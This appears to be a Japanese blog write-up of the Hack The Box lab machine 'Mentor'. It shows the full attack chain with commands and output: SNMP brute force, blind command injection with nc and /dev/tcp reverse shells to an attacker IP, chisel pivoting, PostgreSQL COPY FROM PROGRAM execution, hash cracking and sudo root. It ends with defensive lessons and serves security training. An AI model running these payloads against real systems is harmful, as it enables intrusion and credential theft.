Hack The BoxのWriteup(Mentor)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Mentor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/TCP + 161/UDP(SNMP)
SNMPコミュニティ文字列
ブルートフォース “internal”
プロセス起動引数漏洩
login.py の平文パスワード
/admin/backup
blind command injection
APIコンテナ root シェル
chisel リバーストンネル
+ PostgreSQL COPY FROM PROGRAM
DBバックアップ
hashcat -m0
user.txt ✓
snmpd.conf平文パスワード
su james → sudo /bin/sh
root.txt ✓

ポートスキャン (TCP + UDP)

BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.228.102
nmap -sV -sC -p 22,80 -oN nmap/initial.txt 10.129.228.102
sudo nmap -sU -F 10.129.228.102
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/

PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp
BASH
echo "10.129.228.102 mentorquotes.htb" | sudo tee -a /etc/hosts

vHost 探索 & ディレクトリ列挙

BASH
ffuf -u http://mentorquotes.htb -H 'Host: FUZZ.mentorquotes.htb' -mc 200,404 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
RESULT
api  [Status: 404, Size: 22, ...]
BASH
echo "10.129.228.102 api.mentorquotes.htb" | sudo tee -a /etc/hosts
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
  -u http://api.mentorquotes.htb
RESULT
/admin       (Status: 307) [--> http://api.mentorquotes.htb/admin/]
/docs        (Status: 200)
/users       (Status: 307) [--> http://api.mentorquotes.htb/users/]
/quotes      (Status: 307) [--> http://api.mentorquotes.htb/quotes/]
ℹ️
/docs で Swagger UI にアクセスでき、REST API の全エンドポイント (/auth/login/users//quotes//admin/backup 等)が判明する。ユーザー james (james@mentorquotes.htb)への言及もある。

アカウント登録 & /admin エンドポイントの権限確認

BASH
curl api.mentorquotes.htb/auth/signup -X POST -H 'Content-Type: application/json' \
  -d '{"email":"pwnmeow@mentor.htb","username":"pwnmeow","password":"password"}'

curl api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' \
  -d '{"email":"pwnmeow@mentor.htb","username":"pwnmeow","password":"password"}'
BASH
curl http://api.mentorquotes.htb/admin/ -H 'Authorization: '
RESULT
{"detail":"Only admin users can access this resource"}
ℹ️
一般ユーザーでは /admin/ にアクセスできない。管理者権限を 得る手掛かりを探すため SNMP を調査する。
PHASE 2

SNMP コミュニティ文字列ブルートフォース & 平文パスワード漏洩

デフォルト “public” は有用な情報なし

BASH
snmpwalk -v2c -c public 10.129.228.102
RESULT
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic ..."
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
(システム基本情報のみで機密情報なし)

コミュニティ文字列のブルートフォース

BASH
python3 snmpbrute.py -t 10.129.228.102 -f /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
RESULT
Identified Community strings
    0) 10.10.11.193    public (v1)(RO)
    1) 10.10.11.193    public (v2c)(RO)
    2) 10.10.11.193    internal (v2c)(RO)
⚠️
ハマりどころ: internal コミュニティでの MIB フルウォークは、ホスト上の稼働プロセス数が多いため 数十秒〜数分 かかることがある。デフォルトの短いタイムアウトで snmpwalk を打ち切ると、 目的の login.py の行に到達する前に応答が途切れてしまう。 まずは軽量な単発クエリ(snmpget)でコミュニティ文字列の有効性を 確認し、有効と分かった文字列に対してのみ、プロセス起動引数の部分木 (HOST-RESOURCES-MIB::hrSWRunParameters, OID 1.3.6.1.2.1.25.4.2.1.5)だけを長めのタイムアウトで ウォークすると効率的。

プロセス起動引数から平文パスワードを発見

BASH
snmpwalk -v2c -c internal 10.129.228.102 1.3.6.1.2.1.25.4.2.1.5
RESULT
iso.3.6.1.2.1.25.4.2.1.5.2078 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
🚨
重要発見: Docker コンテナ内で実行中のプロセスの 起動引数がSNMP経由で丸見えになっている。 login.py というスクリプト名から、これが james の API ログインパスワードだと推測できる。

james として API にログイン

BASH
curl http://api.mentorquotes.htb/auth/login -X POST -H 'Content-Type: application/json' \
  -d '{"email":"james@mentorquotes.htb", "username":"james","password":"kj23sadkj123as0-d213"}'
RESULT
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
PHASE 3

/admin/backup の Blind Command Injection

path パラメータの発見

BASH
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization: ' \
  -H 'Content-Type: application/json' -X POST -d '{}'
RESULT
{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}
BASH
curl http://api.mentorquotes.htb/admin/backup -H 'Authorization: ' \
  -H 'Content-Type: application/json' -X POST -d '{"path":"test"}'
RESULT
{"INFO":"Done!"}

wget コールバックで OS コマンド実行を確認

BASH
python3 -m http.server 8000

curl http://api.mentorquotes.htb/admin/backup -H 'Authorization: ' \
  -H 'Content-Type: application/json' -X POST -d '{"path":"$(wget http://10.10.15.201:8000)"}'
RESULT
10.129.228.102 - - [.../] "GET / HTTP/1.1" 200 -
コールバックを受信 — path パラメータが応答には出力されない blind command injectionと判明。

リバースシェル獲得 — /bin/bash が使えない環境

BASH
nc -lnvp 4444

curl http://api.mentorquotes.htb/admin/backup -H 'Authorization: ' \
  -H 'Content-Type: application/json' -X POST -d '{"path":"$(nc 10.10.15.201 4444 -e /bin/sh)"}'
RESULT
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.102] 36509
id
uid=0(root) gid=0(root) groups=0(root)
⚠️
ハマりどころ: 定番の bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'このコンテナでは無反応 になる。cat /etc/os-release で確認すると Alpine Linux/bin/shBusyBox/bin/bash 自体が存在しない。BusyBox の nc-e オプション(接続後にプログラムを実行)を持つため、 nc <IP> <PORT> -e /bin/sh を使う必要がある。
🚨
取得したシェルはいきなり root! ただし /.dockerenv の存在から、これはホストの root ではなく Docker コンテナ内 だと分かる(コンテナ脱出/横移動が必要)。
PHASE 4

Docker ブリッジネットワーク経由の PostgreSQL コンテナへのピボット

ネットワーク環境の確認とホストスキャン

BASH
# /bin/bash が無いため BusyBox 同梱の nc -z (ゼロI/Oスキャンモード) でポート確認
nc -z -w1 172.22.0.4 5432 && echo OPEN

# サブネット全体をスキャンする場合
ip -4 -o addr show scope global   # → eth0: 172.22.0.3/16
for i in $(seq 1 254); do nc -z -w1 172.22.0.$i 5432 2>/dev/null && echo 172.22.0.$i; done
RESULT
OPEN   (172.22.0.4:5432 は PostgreSQL)

chisel でリバーストンネル確立 — 静的リンク版が必須

BASH (攻撃側)
./chisel server -p 8001 -reverse -v
BASH (コンテナ側)
wget 10.10.15.201:8000/chisel -O /tmp/chisel; chmod +x /tmp/chisel
/tmp/chisel client 10.10.15.201:8001 R:127.0.0.1:8002:172.22.0.4:5432
⚠️
ハマりどころ: Kali の apt パッケージ版 chiselglibc に動的リンクされている。musl libc の Alpine コンテナへそのまま転送して実行すると、バイナリは存在するのに not found というエラーになる(動的リンカ /lib64/ld-linux-x86-64.so.2 が無いため execve が ENOENT を返す、Alpine特有の典型的なハマりポイント)。GitHub の 公式リリース(chisel_<ver>_linux_amd64.gz)は CGO_ENABLED=0静的リンク版Goバイナリで、 libc に依存しないためどちらの環境でも動作する。ローカルの chisel server はサーバー側(Kali)で動くので気にしなくてよく、 ターゲットに転送するクライアント側バイナリだけを 静的版に差し替えれば解決する。
RESULT
server: session#1: tun: proxy#R:127.0.0.1:8002=>172.22.0.4:5432: Listening
server: session#1: tun: Bound proxies

PostgreSQL への接続 & COPY FROM PROGRAM RCE

BASH
psql -U postgres -h 127.0.0.1 -p 8002
# Password: postgres

postgres=# \du
RESULT
 Role name |                         Attributes
-----------+------------------------------------------------------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS
BASH
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo  | base64 -d | bash';
ℹ️
Superuser 権限では COPY ... FROM PROGRAM '<シェルコマンド>' で任意 OS コマンドを実行できる。この PostgreSQL コンテナは通常の Debian ベースイメージのため、こちらは bash -i >& /dev/tcp/... がそのまま使える。
RESULT (nc リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.102]
id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
PHASE 5

DB バックアップからのハッシュクラック → user.txt

db_export.sql の発見

BASH
postgres@:/var/lib/postgresql/data$ cat pg_backup/db_export.sql
RESULT
COPY public.users (id, email, username, password) FROM stdin;
1   james@mentorquotes.htb      james         7ccdcd8c05b59add9c198d492b36a503
35  svc@mentorquotes.htb        service_acc   53f22d0dfa10dce7e29cd31f4f953fd8
\.

hashcat (mode 0: 素のMD5) でクラック

BASH
hashcat hash /usr/share/wordlists/rockyou.txt -m 0
RESULT
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani
ℹ️
DB のユーザー名は service_acc だが、メールアドレスが svc@mentorquotes.htb であることから、実際の Linux アカウント名は “svc”と推測できる(DB上の表示名と OSアカウント名が異なる、というひねり)。

SSH ログイン & user.txt 取得

BASH
ssh svc@10.129.228.102
# Password: 123meunomeeivani

svc@mentor:~$ cat user.txt
RESULT
uid=1001(svc) gid=1001(svc) groups=1001(svc)
b68cc0a2b2f80bfb6ffc3e4305e034e1
user.txt — svc@mentor
b68cc0a2b2f80bfb6ffc3e4305e034e1
PHASE 6

snmpd.conf 平文パスワード → su james → sudo /bin/sh → root.txt

/etc/snmp/snmpd.conf の確認

BASH
svc@mentor:~$ cat /etc/snmp/snmpd.conf
RESULT
createUser bootstrap MD5 SuperSecurePassword123__ DES
🚨
重要発見: SNMPv3 ユーザー作成用の設定行に平文パスワードが 直接ハードコードされている。API のログインパスワードとは別の値 だが、james の Linux ログインパスワードとして使い回されている。

su james

BASH
svc@mentor:~$ su james
Password: SuperSecurePassword123__
RESULT
uid=1000(james) gid=1000(james) groups=1000(james)

sudo -l → /bin/sh で即座に root

BASH
james@mentor:~$ sudo -l
RESULT
User james may run the following commands on mentor:
    (ALL) /bin/sh
BASH
james@mentor:~$ sudo /bin/sh
RESULT
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4466a95f5219400c60ab9be2804b9e54
root.txt — root@mentor
4466a95f5219400c60ab9be2804b9e54
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc@mentor
b68cc0a2b2f80bfb6ffc3e4305e034e1
root.txt — root@mentor
4466a95f5219400c60ab9be2804b9e54

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SNMP弱いコミュニティ文字列 + プロセス引数漏洩 SNMP (UDP 161) 認証情報漏洩 High ブルートフォースで”internal”文字列を発見、hrSWRunParametersからlogin.pyの平文パスワードを取得
API blind command injection /admin/backup (pathパラメータ) リモートコード実行 (コンテナ内root) Critical $(…)コマンド置換で任意コマンド実行、応答なしのblind型
PostgreSQL デフォルト資格情報 + COPY FROM PROGRAM PostgreSQL コンテナ (172.22.0.4:5432) リモートコード実行 High postgres:postgresで接続、Superuser権限のCOPY FROM PROGRAMでOSコマンド実行
平文パスワードのハードコード /etc/snmp/snmpd.conf 権限昇格 Medium SNMPv3設定に残る平文パスワードがjamesのログインパスワードと共通
過剰なsudo権限 james の sudoers エントリ ((ALL) /bin/sh) 権限昇格 (root) Critical sudo /bin/sh で即座にrootシェル

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP/UDP + vhost探索 + Swagger発見api.mentorquotes.htb、james の存在
2認証情報漏洩SNMPコミュニティ文字列ブルートフォースjames:kj23sadkj123as0-d213 (API)
3初期侵入/admin/backup blind command injectionAPIコンテナ(Alpine/BusyBox) root シェル
4横移動chisel(静的リンク版)リバーストンネル + PostgreSQL RCEPostgreSQLコンテナ postgres シェル
5権限昇格1DBバックアップ + hashcat -m0user.txt (svc:123meunomeeivani)
6権限昇格2snmpd.conf平文パスワード + su + sudo /bin/shroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
SNMPのコミュニティ文字列が推測可能な単語(“internal”)で、かつプロセスの起動引数にパスワードを平文で渡している 強力でランダムなコミュニティ文字列を使用し、SNMPv3への移行を検討する。機密情報をコマンドライン引数ではなく環境変数や設定ファイル(適切な権限で保護)経由で渡す。
管理者APIエンドポイントのpathパラメータを検証せずOSコマンドに渡している ユーザー入力を直接シェルコマンドに渡さない。ホワイトリスト検証や、シェルを経由しないAPI(execve系)を使用する。
内部PostgreSQLコンテナがデフォルト資格情報(postgres:postgres)のまま稼働 すべてのサービスでデフォルト資格情報を変更する。内部ネットワークだからといって弱い認証で済ませない。
設定ファイルに平文パスワードが残存し、複数アカウント間でパスワードを使い回している 設定ファイルに認証情報を平文で残さない(シークレット管理ツールを使用)。パスワードの使い回しを避ける。
一般ユーザーに(ALL) /bin/shという事実上無制限のsudo権限を付与 sudoの権限は必要最小限の特定コマンドに限定し、シェルを直接実行できる権限は付与しない。
HackTheBox: Mentor | 完全攻略レポート